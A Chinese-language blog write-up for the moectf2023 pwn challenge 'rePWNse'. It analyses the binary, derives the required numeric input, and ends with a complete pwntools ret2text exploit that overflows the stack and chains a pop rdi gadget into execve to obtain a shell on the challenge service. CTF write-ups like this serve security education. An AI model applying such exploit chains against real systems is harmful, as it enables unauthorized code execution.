moectf2023 - rePWNse

RocketDev

文件分析

下载rePWNse, NX on, PIE off, Canary off, RELRO full ghidra分析为64位程序

解题思路

makebinsh函数中有一个字母表和待输入的7位数字,易知else子句都是随机字母,难以组成目标; 而if子句和判断语句之外的cat语句可以组成目标,故得到2个等式和5个方程,整理得输入后的数组:

idx 0 1 2 3 4 5 6
val 1 9 1 9 8 1 0

这么臭的题还是不要罢

又发现存在pop rdi; ret; & execve(),回到了简单的ret2text

EXPLOIT

1
2
3
4
5
6
7
8
9
from pwn import *
sh = remote('localhost', 41053)
sh.sendline(b'1 9 1 9 8 1 0')
sh.recvuntil(b'is:') # skip
shstrAddr = int(sh.recvline()[2:9], 16)
popRdiAddr = 0x0040168e
execveAddr = 0x00401296
sh.sendline(b'0'*0x48 + p64(popRdiAddr) + p64(shstrAddr) + p64(execveAddr))
sh.interactive()

Done.

  • 标题: moectf2023 - rePWNse
  • 作者: RocketDev
  • 创建于 : 2023-09-25 12:00:00
  • 更新于 : 2024-07-25 12:34:56
  • 链接: https://rocketmadev.github.io/2023/09/25/rePWNse/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论
目录
moectf2023 - rePWNse